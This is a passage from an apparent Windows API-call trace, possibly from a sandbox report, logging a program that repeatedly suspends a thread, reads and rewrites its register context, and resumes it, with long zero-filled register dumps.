P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e2d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.394] ResumeThread (hThread=0x1d8) returned 0x1 [0171.394] CloseHandle (hObject=0x1d8) returned 1 [0171.394] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.506] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.613] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.757] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0171.758] SuspendThread (hThread=0x1d8) returned 0x0 [0171.758] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001cf960, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc4831e, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.759] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001cf958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.760] ResumeThread (hThread=0x1d8) returned 0x1 [0171.760] CloseHandle (hObject=0x1d8) returned 1 [0171.760] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.864] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.976] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0171.977] SuspendThread (hThread=0x1d8) returned 0x0 [0171.977] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001cf770, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f895e80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.979] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001cf768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.979] 